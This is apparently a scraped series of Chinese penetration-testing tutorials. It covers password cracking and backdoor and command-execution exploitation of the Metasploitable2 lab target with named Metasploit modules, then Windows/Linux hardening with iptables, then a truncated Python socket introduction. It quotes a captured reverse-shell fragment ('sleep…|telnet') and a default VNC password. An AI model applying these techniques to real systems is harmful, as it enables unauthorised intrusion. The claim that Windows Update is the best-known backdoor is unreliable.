开发语言。6、MySQL支持大型数据库,支持大规模的数据仓库,32 位系统可支持最大的表文件为4 GB,64 位系统可支持最大的表文件为8 TB。7、MySQL 是可以定制的,采用了 GPL协议,可以通过修改源码来开发自己的 MySQL系统。Linux 系统中MySQL的安装详细见MySQL安装PostgreSOL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS)。PostgreSOL的主要优点如下:1、维护者是PostgreSOL Global Development Group,首次发布于 1989 年6月2、操作系统支持 Windows、Linux、UNIX、MAC OS X、BSD3、从基本功能上看,支持ACID、关联完整性、数据库事务、Unicode 多国语言。4、在表和视图方面,PostgreSOL 支持临时表,而物化视图,可以使用 PL/PostgreSOLPL/Perl、PL/Python 或其他过程语言的存储过程和触发器模拟。5、在索引方面,全面支持 R -/R + tree 索引、哈希索引、反向索引、部分索引、Expression 索引、GiST、GIN (用来加速全文检索),从8.3 版本开始支持位图索引。6、在其他对象上,支持数据域,支持存储过程、触发器、函数、外部调用、游标。7、在数据表分区方面,支持4 种分区,即范围、哈希、混合、列表。8、从事务的支持度上看,对事务的支持与 MySOL 相比,经历了更为彻底的测试9、在MyISAM 表处理方式方面,MySOL对于无事务的 MyISAM 表,采用表锁定。1 个长时间运行的查询很可能会阻碍对表的更新,而 PostgreSOL 不存在这样的问题。10、从存储过程上看,PostgreSOL 支持存储过程。因为存储过程的存在也避免了在网络上大量原始的 SOL语句的传输,这样的优势是显而易见的。11、在用户定义丽数的扩展方面,PostgreSOL 可以更方便地使用 UDF (用户定义函数)进行扩展。4、破解远程登陆密码本案例是利用 Kali Linux 中的三种工具结合自身的字典,对 Metasploitable2 网络靶机的SSH 服务登录密码进行破解。图5-2-10所是利用Kali Linux 中的 Medusa 具对 SSH服务登录密码进行破解;图5-2-11 所是用Hdra 工具对 SSH 服务登录密码进行利用MSF中的 ssh_login 模块对SSH 服务登录密码进行破解。破解成功与否与字典有关,Kali Linux 自带了一些密码字典,它们都存放在特定目录下/usr/share/wordlists。使用MSF进行破解:5、VNC Viewer默认密码登录在Kali Liunx 中输入“vncviewer 192.168.244.135”,密码为 password (默认密码),进入Metasploitable2 网络靶机的图形管理界面:三、利用服务后门和执行漏洞渗透网络靶机1、FTP服务(1)FTP服务的含义FTP是TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分:其一为FTP 服务器其二为FTP客户端。其中FTP 服务器用来存储文件,用户可以使用FTP 客户端通过FTP协议访问位于FTP 服务器上的资源。在开发网站的时候,通常利用FTP 协议把网页或程序传到Web 服务器上。此外,由于FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。默认情况下,FTP协议使用TCP 端口中的20和21这两个端口,其中20用于传输数据,21用于传输控制信息。但是,是否使用20为传输数据的端口与FTP使用的传输模式有关,如果采用主动模式,那么数据传输端口就是 20;如果采用被动模式,则具体最终使用哪个端口,由服务器端和客户端协商决定。(2)FTP的安装一般 Linux服务安装有两种方式:网络安装和本地安装,网络安装只要直接输入“yum或“apt -get”+服务名即可,本地安装则首先要挂载系统光盘再对etc/yum. repo.d 文件夹里的内容进行修改,删除网络 YUM 源的文件等。利用yum install vsftp*-y”安装FTP服务之后,对FTP服务进行验证。2、Samba服务(1) Samba 服务的含义Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端序构成。SMB(Server Messages Block,信息服务块) 是一种在局域网上共享文件和打印机的通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。(2)Samba 服务的安装Samba 服务安装类似于FTP 服务,如图5-3-3所在Samba 服务选择共享文件夹时,需要配置smb.conf。3、后门漏洞后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序,以便修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。后门程序,与通常所说的“木马”有联系,也有区别。联系在于:都是隐藏在用户系统中向外发送信息,并且本身具有一定权限,以便远程机器对本机的控制。区别在于: 木马是一个完整的软件,而后门则体积较小,并且功能都很单一。后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其他电脑。后门是一种登录系统的方法,它不仅能绕过系统已有的安全设置,还能挫败系统上各种增强的安全设置。最著名的后门程序是微软的 Windows Update。Windows Update 的运行流程为:开机时自动连上微软的网站,将电脑的现况报告给网站,以进行处理,网站通过Windows Update 程序通知使用者是否有必须更新的文件,以及如何更新。4、系统后门漏洞本项目任务一中列举了 Metasploitable2 靶机中开放的所有端口,其中有些是预留的后门端口。1、1524端口从端口描述 (root shell) 可以看出是一个后门端口。过NC 和Telnet 的连接,证实能直接获取root权限:2、Metasploitable2 靶机的 FTP 服务中包含一个后门,允许一个未知的人侵者进入核心代码、即FTP的笑脸漏洞,如图5-3-10 所示。在FTP 录时输人一个“😃”,程序会反弹一个6200的控制端口,利用NC 连接6200 端口就会进入网络靶机的系统。也可以利用 MSF中的 vsftp_234_backdoor 漏洞模块进入靶机的系统。3、在Metasploitable2 网络靶机的6667 端口上运行着 UnreaIRCDIRC的守护进程。这个版本包含一个后门,利用MSF 中的unreal_ircd_3281_backdoor 模块就能进入网络靶机系统。5、命令执行漏洞一些服务往往包含了命令执行漏洞。1、在Metasploitable2 靶机的 Samba 服务中,存在着因未过滤用户输入,调用/bin/sh 命令的执行漏洞。MSF 中存在着攻击模块 usermap_script,利用这个模块进行攻击就能进入网络靶机的系统。2、在 Metasploitable2 靶机的 Samba 服务中,当配置文件权限为可写,同时“wide links’被允许(默认就是允许),同样存在着命令执行漏洞。MSF 存在着攻击模块 Samba_symlink_traversal,利用这个模块,本机root 文件系统可匿名接入靶机系统利用共享目录就能查看靶机 root 下的文件。3、Metasploitable2 靶机提供了 distccd 服务,但这里的 distccd 服务比较特殊,存在着命令执行漏洞,如图5-3-16 所示,利用 MSF 中的 distcc_exec 模块进行攻击并获得系统权限这时用Wireshark 抓取攻击包,可看到攻击中命令执行代码“sh c sh -c’(sleep 4538|telnet…)’"。4、Metasploitable2 靶机中开放了1099 端口,这个端是基于 Java 的 RPC 架的服务端存在着远程调用执行漏洞,利用java_rmi_server 模块进行攻击并获得系统权限。5、Metasploitable2 靶机的 PHP 服务,由于PHP CGI脚本没有正确处理请求参数,导致源代码泄露,如利用php_cgi_arg_injection 模块进行攻击并获得系统权限。6、Metasploitable2 靶机由于 Druby 配置不当,被滥用执行命令,利用 drb_remote_codeexec 模块进行攻击并获系统权限。7、Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用服务器在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。默认情况下,8180 端口是 Tomcat 管理的HTTP 端口。在靶机中这个端口存在着远程调用执行的漏洞。
0
0
0
浏览量2024
超超

渗透测试——九、黑客实践之系统加固

一、Windows系统加固1、Windows 操作系统Microsoft Windows 操作系统是美国微软公司研发的一套操作系统,它问世于1985 年,起初仅仅是 Microsoh - DO 拟环境,后续的系统版本不断更新升级,不但易用,而且是当前应用最广泛的操作系统。Windows 系统常见目录目录说明system32存放系统配置文件SysWOW64Windows操作系统的子系统Config/SAM存放 Windows 账号和密码etc/hostsDNS解析文件Program files/Program files ( x86)Windows程序目录(32位程序安装在x86 目录下)Perflogs日志目录Windows 系统常用指令命令说明ver查看系统版本hostname查看主机名ipconfig/all查看网络配置net user/localgroup/share/config查看用户/用户组/共享/当前运行可配置服务at建立或查看系统作业netstat查看开放端口secpol. msc查看和修改本地安全设置services. msc查看和修改服务eventvwr.msc查看日志regedit打开注册表whoami查看当前操作用户的用户名net命令的使用命令说明net user abc /add创建 (空密码) 账户 abcnet user abc查看账户 abe 的详细信息net user abc /del删除账户 abcnet user abc 123 /add创建普通账户 abc,密码为123net localgroup administrators abc /add把abc 用户加人管理员组net localgroup administrators abc /del把 abc用户退出管理员组net user abc /active: yes [no]启用/停用abc账户net localgroup admin /add [ del]新建/删除组 adminnet share查看本地开启的共享netstat查看开启的端口Windows系统常见的开放端口端口说明80/8080/8081HTTP协议代理服务器常用端口号443HTTPS协议代理服务器常用端口号21FTP(文件传输协议) 协议代理服务器常用端口号24Telnet(远程登录)协议代理服务器常用端口号22SSH (安全登录)、SCP (文件传输)1521Oracle 数据库1433MSSQL Server 数据库3306MySQL数据库25SMTP(简单邮件传输协议)2、Windows系统加固的策略Windows 操作系统作为目前个人电脑中用得最广泛的操作系统,从它诞生以来,总存在些安全漏洞,如缓冲区溢出漏洞、TCP/IP 协议漏洞、Web 应用安全漏洞、开放端口的安全漏洞等。以下是一些 Windows 加固的基本策略;1、保护账号。2、设置安全的密码。3、设置屏幕保护密码4、关闭不必要的服务5、关闭不必要的端口6、开启系统审核策略7、开启密码策略。8、开启账户锁定策略9、关闭系统默认共享。10、禁止 TTL判断主机类型11、修补操作系统漏洞。3、Windows 账户及安全策略3.1 账户安全设置设置方法:单击“开始”一“运行”,输入“secpol.msc”,Windows 账户策略设置界面,账户策略见表。Windows 账户策略选项要求密码必须符合复杂性要求启用密码长度最小值8 个字符密码最长使用期限30天强制密码历史3个记住的密码账户锁定时间30 min复位账户锁定计数器30 min之后3.2 禁用guest 账户右击“我的电脑”,单击“打开”一“计算机管理”一“本地用户和组”一“用户”“Guest”,右击,单击“属性”一“常规”,选择“账户已禁用”。也可以使用cmd 命令“net user guest/active:no”3.3 重命名Administartor 账户重命名Administartor账户,可增加账户的安全性,如图7-1-4 所示。也可以使用 Windows命令“wmic useraccount where name ='Administrator' call Rename test进行重命名。4、关闭135、139、445 隐患端口在针对 Windows 进行攻击时,135、139、445 端口往往成为黑客入侵的端口,以下演示如何关闭3 个端口。首先查看系统的开放端口:4.1 关闭135 端口单击“开始”一“运行”,输入“dcomcnfg”,单击“确定”按钮,打开组件服务。右击“我的电脑”,单击“属性”,在默认属性中取消勾选“在此计算机上启用分布式 COM”。选择“默认协议”选项卡,选中“面向连接的TCP/IP”,单击“移除”一“确定”按钮,设置完成。打开“开始”菜单,单击“运行”,输入“regedit”,进入注册表,定位到HKEY_LOCALMACHINE\SOFTWARE\MicrosofRpc,右击“Rpc”,单击“新建项”,输人“Intermet”,然后重启,查看系统端口,135 端口被关闭了。4.2 关闭139端口右击“网上邻居”,单击“属性”,打开“本地连接 属性”窗口,选中“Internet 协议4(TCP/IPv4)”,单击“常规”选项卡,单击“高级”按钮,在“WINS”选项卡中选中“禁用TCP/IP 上的 NetBIOS”。重启计算机,端口状态139 端口被关闭了。4.3 关闭445端口在注册表 HKEY_LOCALMACHINE\SYSTEM\CurrentControlSet Services NetBT\Parameters目录下,新建“SMBDeviceEnabled”项,类型为REG_DWORD,键值为0。或者使用命令行指令:reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSetservices\NetBT”/vSMBDeviceEnabled/ REGDWORD/d0/f。依次单击“开始”一“运行”,输入“services.msc”,进入服务管理控制台,找到“Server”服务,双击进入管理控制页面,把服务的启动类型更改为“禁用”,服务状态更改为“停止”,最后单击“应用”按即可。端口状态,445 端口被关闭了。4.4 修改3389端口3389是 Windows 远程桌面端口,通过它可以控制 Windows 系统,为了安全,可以修改这个端口。两个注册表路径为:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp\PortNumber HKEY_LOCALMACHINESYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDPTcp\PortNumber它们的默认值是 3389,修改成 445 端口。由于445 端口上的服务改成了远程桌面服务,用Kali 扫描该主机,判断服务类型时,445 端口的服务描述中会出现问号。二、Linux系统加固1、Linux 防火墙Iptables 防火墙可以用于创建过滤 (filter) 与 NAT 规则。所有 Linux 发行版都能使用Iptables,因此,理解如何配置 Iptables 将会帮助用户更有效地管理 Linux 防火墙。首先介绍Iptables 的结构:Iptables-+Tables-Chains-Rules。简单地讲,Tables 由 Chains组成,而 Chains 又由 Rules 组成。(1) Iptables 的表与链Iptables 具有 Filter、NAT、Mangle、Raw 四种内建表Filter 表。Filter 是 Iptables 的默认表,因此,如果没有自定义表,那么就默认使用 Filter 表,它具有以下三种内建链:1、INPUT链,处理来自外部的数据。2、OUTPUT链,处理向外发送的数据。3、FORWARD 链,将数据转发到本机的其他网卡设备上。NAT表。NAT表有三种内建链:1、PREROUTING链,处理刚到达本机并且路由还未转发的数据包。它会转换数据包中的目标IP地址(Destination IP Address),通常用于 DNAT (Destination NAT)。2、POSTROUTING链,处理即将离开本机的数据包。它会转换数据包中的源IP 地址(Source IP Address),通常用于 SNAT (Source NAT)。3、0UTPUT链,处理本机产生的数据包。Mangle 表。Mangle 表用于指定如何处理数据包。它能改变TCP头中的OS位。Mangle 表具有五个内建链:PREROUTING、OUTPUT、FORWARD、INPUT、POSTROUTINGRaw 表。Raw 表用于处理异常,它具有两个内建链:PREROUTING和OUTPUT(2) Iptables 规则 (Rules)牢记以下三点是理解 Iptables 规则的关键1、规则包括一个条件和一个目标 (target)2、如果满足条件,就执行目标中的规则或者特定值。3、如果不满足条件,就判断下一条规则。下面是可以在目标里指定的特殊值:ACCEPT,允许防火墙接收数据包。DROP,防火墙丢弃包。QUEUE,防火墙将数据包移交到用户空间。RETURN,防火墙停止执行当前链中的后续规则,并返回调用链 (the calling chain)中。如果执行 iptables -list,将看到防火墙上的可用规则。下例说明当前系统没有定义防火墙,可以看到,它显示了默认的 Filter 表,以及表内默认的INPUT 链、FORWARD链、OUTPUT链。#iptables -t filter-list Chain INPUT(policy ACCEPT) target prot opt source destination Chain FORWARD(policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination查看Mangle表:#iptables -t mangle -list查看NAT表:#iptables -t nat -list查看 Raw 表:#iptables -t raw -ist注意:如果不指定 -t 选项,就只会显示默认的 Flter 表。因此,以下两种命令形式是个意思:#iptables -t filter -list或者#iptables-list下例表明在 Filter表的INPUT链、FORWARD链、OUTPUT 链中存在规则# iptables -list Chain INPUT (policy ACCEPT) num target prot opt source destination 1 RH-Firewall -1 -INPUT all 0.0.0.0/0 0.0.0.0/0 Chain FORWARD(policy ACCEPT) num target prot opt source destination 1 RH-Firewall -1 -INPUT all 0.0.0.0/0 0.0.0.0/0 Chain FORWARD(policy ACCEPT) num target prot opt source destination Chain RH -Firewall-1 -INPUT(2 references) num target prot opt source destination 1 ACCEPT all - 0.0.0.0/0 0.0.0.0/0 2 ACCEPT icmp - 0.0.0.0/0 0.0.0.0/0 icmp type 255 3 ACCEPT esp - 0.0.0.0/0 V0.0.0.0/0 4 ACCEPT ah - 0.0.0.0/0 0.0.0.0/0 5 ACCEPT udp - 0.0.0.0/0 224.0.0.251 udp dpt;5353 6 ACCEPT udp - 0.0.0.0/0 0.0.0.0/0 udp dpt:631 7 ACCEPT tcp - 0.0.0.0/0 0.0.0.0/0 tcp dpt:631 8 ACCEPT all - 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED g ACCEPT tcp - 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt;22 10 REJECT all - 0.0.0.0/0 0.0.0.0/0 reject -with icmp -host -prohibited以上输出包含下列字段:num:指定链中的规则编号target:前面提到的目标的特殊值prot:协议 TCP、UDP、ICMP 等source:数据包的源IP 地址。destination:数据的目标IP 地址(3)清空所有 Iptables 规则在配置Iptables 之前,通常需要用iptables -list 命令或者iptables - save 命令查看有无现存规则,因为有时需要删除现有的 Iptables 规则:iptables -flush或者iptables -F这两条命令是等效的。但是并非执行后就可以了,仍然需要检查规则是不是真的清空因为有的 Linux 发行版上这个命令不会清除NAT 表中的规则,此时只能手动清除:iptables -t NAT -F(4) 永久生效当删除、添加规则后,这些更改并不能永久生效,这些规则很有可能在系统重启后恢复原样。为了让配置永久生效,根据平台的不同,具体操作也不同。下面进行简单介绍:1、Ubuntu。首先,保存现有的规则:iptables -save > /etc/iptables,rules然后新建一个bash 脚本,并保存到/ete/network/if - pre - up.d/目录下:#! /bin/bash iptables -restore < /etc/iptables.rules这样,每次系统重启后,Iptables 规则都会被自动加载注意:不要尝试在.bashrc 或者profle 中执行以上命令,因为用户通常不是 root,并且只能在登录时加载Iptables 规则。2、CentOS、RedHat.    保存Iptables 规则:service iptables save重启Iptables 服务:service iptables stop service iptables start查看当前规则:cat/etc/sysconfig/iptables(5)追加 Iptables 规则可以使用iptables -A 命令追加新规则,其中-A 表示 Append。因此,新的规则将追加到链尾。一般而言,最后一条规则用于丢弃 (DROP) 所有数据包。如果已经有这样的规则了并且使用-A 参数添加新规则,那么就没有意义了。1、语法。iptables -A chain firewall -rule-A chain,指定要追加规则的链firewall -rule,具体的规则参数。2、描述规则的基本参数。以下这些规则参数用于描述数据包的协议、源地址、目的地址、允许经过的网络接口以及如何处理这些数据包。这些描述是对规则的基本描述。-p,协议 (protocol)。指定规则的协议,如TCP、UDP、ICMP 等,可以使用all 来指定所有协议如果不指定 -p 参数,则默认是 all 值。可以使用协议名 (如TCP) 或者是协议值 (比如6代表TCP) 来指定协议。映射关系通过/etc/protocols查看,还可以使用-protocl 参数代替-p 参数。-s,源地址 (source),指定数据包的源地址。参数可以是 IP 地址、网络地址、主机名。例如,-s 192.168.1.101 指定P 地址;-8 192.168.110/24 指定网络地址。如果不指定一s参数,就代表所有地址。还可以使用-src 或者 - source。-d,目的地址 (destination),指定目的地址。参数和-s相同。还可以使用 -dst 或者dlestinalion o-j、执行目标(jump to target)。-j指定了当与规则匹配时如何处理数据包。可能的值是 ACCEPT、DROP、QUEUERETURN、MASOUERADE。还可以指定其他链作为目标。注:MASOUERADE,地址伪装,是 snat 中的一种特例,可以实现自动化的snat。-i,输入接口 (input interface)。-i指定了要处理来自哪个接口的数据包。这些数据包即将进入INPUT、FORWARD、PREROUTING链。例如,-ietho 指定了要处理经由 etho 进入的数据包。如果不指定 -i参数,那么将处理进入所有接口的数据包。如果出现!-i eth0,那么将处理所有经由 eth0 以外的接口进人的数据包如果出现-i eth+,那么将处理所有经由eth 开头的接口进入的数据包。还可以使用-in -interface参数-o,输出 (output interface)。-o指定了数据包由哪个接口输出。这些数据包即将进入 FORWARD、OUTPUT、POSTROUTING链。如果不指定 -o选项,那么系统上的所有接口都可以作为输出接口。如果出现! -o eth0,那么将从 eth0 以外的接口输出。如果出现-o eth +,那么将仅从eth 开头的接口输出。还可以使用-out -interface 参数3、描述规则的扩展参数。对规则有了基本描述之后,有时还希望指定端口、TCP 标志、ICMP 类型等内容。-sport,源端口 (source port)。针对-p tcp 或者-p udp。缺省情况下,将匹配所有端口。可以指定端口号或者端口名称,例如“-sport 22”与“-sport ssh”/etc/services 文件描述了上述映射关系。从性能上讲,使用端口号更好。使用冒号可以匹配端口范围,如“-sport 22;100”,还可以使用“-source -port”-dport,目的端口 (destination port)。针对-p top 或者-p udp,参数和-sport 类似还可以使用“-destination -port”。-tcp -flags TCP标志针对 -p tcp,可以指定由逗号分隔的多个参数,有效值可以是SYN、ACK、FIN、RST、URG、PSH。可以使用ALL或者NONE。- icmp -type ICMP类型针对-p icmp。- icmp - type 0 表示 Echo Reply。-icmp -type 8 表示Echo4、追加规则的完整实例。本例实现的规则将仅允许 SSH 数据包通过本地计算机,其他一切连接 (包括 ping)都将被拒绝。清空所有 Iptables 规则:iptables -F接收目标端口为22 的数据包:iptables -A INPUT -i ethO -p tcp -dport 22 -ACCEPT拒绝所有其他数据包:iptables -A INPUT -j DROP6、更改默认策略上例仅对接收的数据包过滤,而对要发送出去的数据包却没有任何限制。本部分主要介绍如何更改链策略,以改变链的行为。当使用-L 选项验证当前规则时,发现所有的链旁边都有 policy ACCEPT 标注,这表明当前链的默认策略为 ACCEPT:#iptables -L Chain INPUT(policy ACCEPT) target prot opt source destination ACCEPT tcp - anywhere anywhere tcp dpt:shh DROP all - anywhere anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination这种情况下,如果没有明确添加 DROP 规则,那么默认情况下将采用ACCEPT 策略进行过滤。除非;为以上三个链单独添加DROP 规则:iptables -A INPUT -j DROP iptables -A OUTPUT -DROP iptables -A FORWARD - DROP更改默认策略:iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP已经把OUTPUT链策略更改为DROP了。此时虽然服务器能接收数据,但是无法发送数据:#iptables -L Chain INPUT(policy DROP) target prot opt source destination ACCEPT tcp - anywhere anywhere tcp dpt;ssh DROP all - anywhere anywhere Chain FORWARD (policy DROP) target prot opt source destination Chain OUTPUT (policy DROP) target prot opt source destination(7)配置应用程序规则以下举个例子:允许接收远程主机的 SSH 请求:iptables -A INPUT -i ethO -p tcp -dport 22 -m state -state NEW,ESTABLISHED -j -ACCEPT允许发送本地主机的SSH 响应:iptables -A OUTPUT -o eth0 -p tcp -sport 22 -m state -state ESTABLISHED -j ACCEPT-m state,启用状态匹配模块 (state matchingmodule)。-state,状态匹配模块的参数。当SSH 客户端第一个数据包到达服务器时,状态字段为NEW;建立连接后,数据包的状态字段都是ESTABLISHED。-sport 22,SSHD监听22 端口,同时也通过该端口和客户端建立连接、传送数据。因此,对于 SSH 服务器而言,源端口就是22。-dport 22,SSH客户端程序可以从本机的随机端口与SSH 服务器的22端口建立连接因此,对于SSH客户端而言,目的端口就是22。2、Linux 账户Linux 系统是一个多用户多任务的分时操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,然后以这个账号的身份进入系统。用户的账号一方面可以帮助系统管理员对使用系统的用户进行跟踪,并控制他们对系统资源的访问;另一方面,可以帮助用户组织文件,并为用户提供安全性保护。每个用户账号都拥有唯一的用户名和各自的口令。Linux账户和密码存放在/etc/passwd 和/etc/shadow 文件中。超级管理员(root)的UID =0,系统默认用户则对应1024 以下的UID(用户标识号它与用户名唯一对应,并且 UID 越小,说明该用户的权限越大)。3、AWK 查找工具AWK 是一个强大的文本分析工具,相对于 GREP 的查找、SED 的编辑,AWK 在对数据进行分析并生成报告时,其功能显得尤为强大。简单来说,AWK 就是把文件逐行读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。使用方法:awk'{pattern +action}' {filenames}比如,检查/etc/shadow 中的空口令账号:# awk -F":"'($2 = ="!"){print $1}'/etc/shadow搜索/etc/passwd 中有 root 关键字的所有行:#awk '/root/' /etc/passwd4、防火墙只允许常规服务端口为了 Linux 系统的安全,有时只允许系统开放一些常规端口。利用Iptables 只允许21、22、80、445、1433、3306 端口开放。利用Iptables 配置与 Linux 扫描结果。Iptables 的设置是立即生效的,无须重启服务。5、查找隐藏的超级用户所谓隐藏的超级用户,是那些权限很大 (UID为0)的rot 用户Linux的普通用户权限很小。用户没有权限设置IP 地址。当修改/etc/passwd 文件之后,abc 就有 root 的权限了。可以利用AWK检测UID为0的用户,代码为awk -F ":" '($3=="0")print {$1}' /etc/passwd。6、设置系统密码策略查看密码策略设置:#cat /etc/login.defs | grep PASS配置密码文件:#vi /etc/login.efs 修改配置文件 PASS_MAX_DAYS 90 #用户的密码最长使用天数 PASS_MIN_DAYS 0 #两次修改密码的最小时间间隔 PASS_MIN_LEN 7 #密码的最小长度 PASS_WARN_AGE 9 #密码过期前多少天开始提示7、阻止系统响应任何从外部/内部来的 ping 请求在Linux 系统中执行命令;echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all,测试能否被其他主机 ping通。
0
0
0
浏览量2016
超超

渗透测试——三、黑客实践之脚本编写

一、认识Python语言1、Python语言概况Python 是一种跨平台的计算机程序设计语言,是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本 (shell),随着版本的不断更新和语言新功能的添加,越来越多地被用于独立的、大型项目的开发。TIOBE 于2019 年2月公布的世界编程语言排行榜中,排名前八的分别是 Python、Java、JavaScript、C++、PHP、C#、R、Objective -C (图4 -1-1)。2018 年,Python 更是3 次获得TIOBE 最佳年度语言的称号。在 IEEE (国际电气和电子工程师协会) 中,Python 多年荣获最受喜爱的编程语言的称号。小贴士:TIOBE 排行榜是根据互联网上有经验序员数量、在线IT 程数量及提供第三方 IT厂商数量,并使用搜索引擎(如Google Bing、Yahoo!) 及 Wikipedia、Amazon、YouTube统出的排名数据,反映某个编程语言的热门程度。2、Python的特点Python 作为一门热门语言,它具有如下特点:1、简单。Python 遵循“简单、优雅、明确”的设计哲学2、高级。Python 是一种高级语言,相对于C语言,其牺牲了性能而提升了编程人员的率。它使得程序员可以不用关注底层细节,而把精力全部放在编程上。3、面向对象。Python 既支持面向过程,也支持面向对象。4、可扩展。可以通过 C、C++语言为 Python 编写扩充模块。5、免费和开源。Python 是 FLOSS (自由/开放源码软件) 之一,允许自由地发布软件的备份、阅读和修改其源代码、将其一部分自由地用于新的自由软件中。6、边编译边执行。Python 是解释型语言,可以一边编译一边执行。7、可移植。Python 能运行在不同的平台上。8、丰富的库。Python 拥有许多功能丰富的库。9、可嵌入性。Python 可以嵌入 C、C++中,为其提供脚本功能。3、Python集成开发环境Python 是跨平台的,它可以运行在 Windows、Mac 和各种 Linux/UNIX 系统上。在Windows上编写的 Python 程序,放到 Lnux 上也是能够运行的。下面介绍几款 Python 的集成开发环境。PyCharm 是由 JetBrains 打造的一款 Python IDE,如图4-1-3所。PyCharm 具备一般Python IDE 的功能,比如调试、语法高亮、项目管理、代码跳转、智能提示、自动完成、单元测试、版本控制等。PyCharm 还提供了一些很好的功能用于 Djang 开发,同时支持Google App Engine。此外,PCharm 支持 IronPvthon。Pydev 是Python IDE 中使用普遍的软件,它提供很多强大的功能来支持高效的Python 编程。Pydev 是一个运行在 Eclipse 上的开源插件,集成了一些关键功能,包括Django 集成、自动代码补全、多语言支持、集成的 Python 调试、代码分析、代码模板、智能缩进、括号匹配、错误标记、源代码控制集成、代码折叠、UML 编辑和查看及单元测试整合等。虽然 Pydev 是最好的开源 Python IDE,但是它也和另一个名为 Licipse 的产品一起打包,Liclipse 是一个商业产品,同样也构建在 Eclipse 上,提供了易用性改进和额外的主题选项。除了 Python,Pydev 也支持 Jython and IronPython。VIM是一个普遍而又先进的文本编辑器,在 Python 开发者社区中很受欢迎。经过正确的配置后,它可以成为一个全功能的 Python 开发环境。VIM 还是一个轻量级的、模块化、快速响应的工具,非常适合那些技术水平很高的程序员使用。二、编写Python扫描程序1、Python 第三方模块Python 大受欢迎与它有着丰富的第三方模块有关,有了这些模块的支持,Python 几乎在现代生活计算机所能涉及的所有场景中都有着丰富的应用,以下列举了知名的第三方库:Requests,Kenneth Reitz 是最负盛名的HTTP库。每个Python 程序员都应该拥有它。Scrapy,如果你从事爬虫相关的工作,那么这个库也是必不可少的。wxPython,Python的一个GUI (图形用户界面)工具。Pillow,它是PIL (Python 图形库) 的一个友好分支。对用户比PIL 更加友好,其对于任何在图形领域工作的人来说都是必备的库。BeautifulSoup,这个XML和HTML的解析库对新手非常有用。Twisted,对于网络应用开发者来说,是最重要的工具。NumPy,它为 Python 提供了很多高级的数学方法。SciPy,这是一个Pthon的算法和数学工具库,它的功能把很多科学家从 Ruby 吸引到了Python。Matplotlib,这一个绘制数据图的库,对数据科学家或分析师非常有用。Pygame,这个库在开发2D 游戏时用到。Scapy,用 Python 编写的数据包探测和分析库。Pywin32,一个提供与 Windows 交互的方法和类的 Python 库。Nlk,自然语言工具包。用于处理字符串时,它是非常好的库。IPython,它把 Pvthon 的提示信息做到了极致。包括完成信息、历史信息、shell 功能以及其他很多方面。在Python 中,安装第三方模块是通过 setuptools 这个工具完成的。Python 有两个封装 set-uptools 的包管理工具:easy_install 和 pip。目前官方推荐使用 pip。2、Socket模块Socket 是应用层与TCP/IP 协议簇通信的中间软件抽象层,它是一组接口,是计算机网络通信的基础内容。图4-2-2所示是 Socket 通信的流程,服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听 (listen),调用 acept 阻塞,等待客户端连接。在这时,如果有个客户端初始化一个 Socket,然后连接服务器 (connect),并且连接成功,则客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束。Socket 编程常用的方法如下;sk.bind( address)sk.bind(address)将套接字绑定到地址。address 地址的格式取决于地址簇。在AF_INET下,以元组 (host,port) 的形式表示地址。sk. listen( backlog)开始监听传入的连接。backlog 指在拒绝连接之前,可以挂起的最大连接数量。sk.setblocking( bool)是否阻塞(默认True),如果设置为 False,那么接收时一旦无数据,则报错。sk. accept()接受连接并返回 (conn,address),其中 conn 是新的套接字对象,可以用来接收和发送数据。address 是连接客户端的地址。sk.connect( address)连接到address处的套接字。一般情况下,address 的格式为元组 (hostname,port),如果连接出错,返回socketerror 错误。sk.connect ex( address)同上,只不过会有返回值,连接成功时返回0,连接失败时候返回编码。sk. close()关闭套接字。sk. recv( bufsize [,flag])接收套接字的数据。数据以字符串形式返回,bufsize 指定最多可以接收的数量。flag 提供有关消息的其他信息,通常可以忽略。sk. recvfrom( bufsize [,flag])与recv()类似,但返回值是(data,address)。其中 data 是包含接收数据的字符串,address 是发送数据的套接字地址。sk. send( string[ ,flag])将 string 中的数据发送到连接的套接字。返回值是要发送的字节数量,该数量可能小于string的字节大小,即可能未将指定内容全部发送。sk.sendall( string[ ,flag])将 string 中的数据发送到连接的套接字,但在返回之前会尝试发送所有数据。成功,返回 None;失败,则抛出异常。sk. sendto( string[ ,flag] ,address)将数据发送到套接字,address 是形式为 (ipaddr,port) 的元组,指定远程地址。返回值是发送的字节数。该函数主要用于 UDP 协议。sk. settimeout( timeout)设置套接字操作的超时期。timeout 是一个浮点数,单位是秒。值为 None,表示没有超时期。一般地,超时期应该在刚创建套接字时设置,因为它们可能用于连接的操作(如 cli-ent 连接最多等待5 s)。sk. getpeername()返回连接套接字的远程地址。返回值通常是元组 (ipaddr,port)。sk.getsockname()返回套接字自己的地址。通常是一个元组 (ipaddr,port)。sk. 